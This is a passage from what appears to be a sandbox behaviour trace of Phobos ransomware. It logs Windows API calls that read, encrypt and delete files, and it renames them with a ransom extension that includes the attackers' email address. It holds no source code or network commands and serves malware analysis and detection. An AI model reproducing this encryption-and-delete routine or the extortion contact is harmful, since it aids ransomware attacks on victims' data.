lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=6851) returned 1 [0047.406] CloseHandle (hObject=0x31c) returned 1 [0047.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0047.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.406] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.406] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.406] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.406] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.408] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cb70) returned 1 [0047.408] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.408] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1ac3, lpOverlapped=0x0) returned 1 [0047.410] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1ad0, dwBufLen=0x1ad0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1ad0) returned 1 [0047.410] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1ad0, lpOverlapped=0x0) returned 1 [0047.411] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0047.411] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.411] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0047.411] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0047.411] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0047.412] CryptDestroyKey (hKey=0x10cb70) returned 1 [0047.412] CloseHandle (hObject=0x31c) returned 1 [0047.412] CloseHandle (hObject=0x2e4) returned 1 [0047.412] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0047.414] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.414] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.583] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=72076) returned 1 [0047.583] CloseHandle (hObject=0x31c) returned 1 [0047.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0047.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.583] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.583] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.583] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.584] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.584] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d070) returned 1 [0047.584] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.584] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1198c, lpOverlapped=0x0) returned 1 [0047.585] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x11990, dwBufLen=0x11990 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x11990) returned 1 [0047.585] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x11990, lpOverlapped=0x0) returned 1 [0047.587] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cb70) returned 1 [0047.587] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.587] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0047.587] CryptDestroyKey (hKey=0x10cb70) returned 1 [0047.587] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0047.587] CryptDestroyKey (hKey=0x10d070) returned 1 [0047.587] CloseHandle (hObject=0x31c) returned 1 [0047.587] CloseHandle (hObject=0x33c) returned 1 [0047.589] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0047.590] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.590] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.590] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=68226) returned 1 [0047.590] CloseHandle (hObject=0x33c) returned 1 [0047.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0047.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.591] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.591] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.591] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.591] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.591] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccf0) returned 1 [0047.591] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.591] ReadFile (in: hFile=0x33c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x10a82, lpOverlapped=0x0) returned 1 [0047.592] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x10a90, dwBufLen=0x10a90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x10a90) returned 1 [0047.593] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x10a90, lpOverlapped=0x0) returned 1 [0047.594] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cef0) returned 1 [0047.594] CryptSetKeyParam (hKey=0x10cef0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.594] CryptEncrypt (in: hKey=0x10cef0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0047.594] CryptDestroyKey (hKey=0x10cef0) returned 1 [0047.594] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0047.594] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0047.594] CloseHandle (hObject=0x33c) returned 1 [0047.594] CloseHandle (hObject=0x31c) returned 1 [0047.596] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0047.598] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.598] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.603] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=12687) returned 1 [0047.603] CloseHandle (hObject=0x31c) returned 1 [0047.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0047.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.604] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.604] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.604] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.604] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.604] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccf0) returned 1 [0047.604] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.604] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x318f, lpOverlapped=0x0) returned 1 [0047.606] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3190, dwBufLen=0x3190 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3190) returned 1 [0047.606] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x3190, lpOverlapped=0x0) returned 1 [0047.607] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cd30) returned 1 [0047.607] CryptSetKeyParam (hKey=0x10cd30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.607] CryptEncrypt (in: hKey=0x10cd30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0047.607] CryptDestroyKey (hKey=0x10cd30) returned 1 [0047.607] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0047.607] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0047.607] CloseHandle (hObject=0x31c) returned 1 [0047.607] CloseHandle (hObject=0x33c) returned 1 [0047.608] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0047.609] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.609] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.609] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=65238) returned 1 [0047.609] CloseHandle (hObject=0x33c) returned 1 [0047.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0047.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.610] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.610] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.610] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.610] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.610] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cef0) returned 1 [0047.610] CryptSetKeyParam (hKey=0x10cef0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.610] ReadFile (in: hFile=0x33c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xfed6, lpOverlapped=0x0) returned 1 [0047.612] CryptEncrypt (in: hKey=0x10cef0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xfee0, dwBufLen=0xfee0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xfee0) returned 1 [0047.612] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xfee0, lpOverlapped=0x0) returned 1 [0047.614] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0047.614] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.614] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0047.614] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0047.614] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0047.614] CryptDestroyKey (hKey=0x10cef0) returned 1 [0047.614] CloseHandle (hObject=0x33c) returned 1 [0047.614] CloseHandle (hObject=0x31c) returned 1 [0047.616] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0047.617] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.617] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.618] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3546) returned 1 [0047.618] CloseHandle (hObject=0x31c) returned 1 [0047.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0047.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.619] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.619] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.619] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.619] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.620] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce30) returned 1 [0047.620] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.620] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xdda, lpOverlapped=0x0) returned 1 [0047.622] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xde0, dwBufLen=0xde0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xde0) returned 1 [0047.622] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xde0, lpOverlapped=0x0) returned 1 [0047.854] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d170) returned 1 [0047.854] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.854] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0047.854] CryptDestroyKey (hKey=0x10d170) returned 1 [0047.854] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0047.854] CryptDestroyKey (hKey=0x10ce30) returned 1 [0047.854] CloseHandle (hObject=0x31c) returned 1 [0047.854] CloseHandle (hObject=0x33c) returned 1 [0047.855] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0047.856] SetEvent (hEvent=0x2e8) returned 1 [0047.857] CryptGenRandom (in: 